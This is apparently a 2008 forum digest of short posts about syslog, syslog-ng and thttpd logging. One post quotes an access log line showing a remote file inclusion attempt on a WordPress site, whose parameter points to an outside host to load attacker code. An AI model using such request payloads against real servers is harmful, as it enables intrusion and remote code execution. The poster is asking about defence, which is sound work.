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Sun, 07 Sep 2008 01:48:26 +0200

I am seeing the following new attacks against a wordpress site. Should I be worried?
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217.18.184.130 - - [06/Sep/2008:19:07:29 -0400] "GET /category/php//phpSecurePages/secure.php?&cfgProgDir=http://www.trueby.ch/.sys/cr4nk/i??? HTTP/1.1" 404 13...

Sat, 06 Sep 2008 16:40:30 +0200

.::Re: How to disable logs from THTTPD thrue syslogd ::.

I guess it's that thttpd is using too many resources while logging. I tried to use rotating log files for syslog yesterday in case the log file was getting to big. But the same problem occured so the only thing left to test is to disable the logs from ...

Sat, 06 Sep 2008 16:36:21 +0200

.::Re: syslog.conf to syslog-ng.conf::.

Glad it worked for you.

Sat, 06 Sep 2008 16:34:43 +0200

.::Re: connection failed::.

Are you using TCP to send the syslog messages?

Otherwise, it seems like it is probably an application that is creating that message.

Sat, 06 Sep 2008 16:32:06 +0200

.::Re: How to disable logs from THTTPD thrue syslogd ::.

Is the problem with syslogd using too many resources, or thttpd using too many resources while logging?